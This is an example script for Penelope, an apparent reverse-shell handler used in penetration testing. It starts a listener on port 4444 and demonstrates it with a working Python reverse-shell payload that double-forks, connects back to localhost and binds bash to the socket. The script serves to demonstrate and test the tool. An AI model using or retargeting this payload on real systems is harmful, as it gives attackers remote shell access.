#!/usr/bin/python3

# Make penelope importable from everywhere
import sys, os, subprocess, time
sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), '..', '..'))

# Penelope
import penelope                         # Importing penelope -----> REQUIRED <-----
#penelope.options.silent = True         # Optional
#penelope.options.single_session = True # Optional
penelope.Listener()                     # Start the listener (0.0.0.0:4444 by default) -----> REQUIRED <-----

# Reverse shell simulation (runs entirely on localhost, no real RCE)
# Spawns a local process that connects back to the listener, just like a
# target would after a reverse-shell payload fired.
time.sleep(0.5)
payload = (
        "import os,socket,subprocess;"
        "os.fork() and os._exit(0);"            # parent exits -> child reparented
        "os.setsid();"                          # new session, drop controlling tty
        "os.fork() and os._exit(0);"            # 2nd fork -> grandchild can't reacquire a tty
        "k=socket.socket();k.connect(('127.0.0.1',4444));"
        "os.dup2(k.fileno(),0);os.dup2(k.fileno(),1);os.dup2(k.fileno(),2);"
        "subprocess.call(['/bin/bash'])"
)
subprocess.Popen([sys.executable, '-c', payload])

penelope.start()                        # Drop into Penelope's main menu (blocking, main thread) -----> REQUIRED <-----
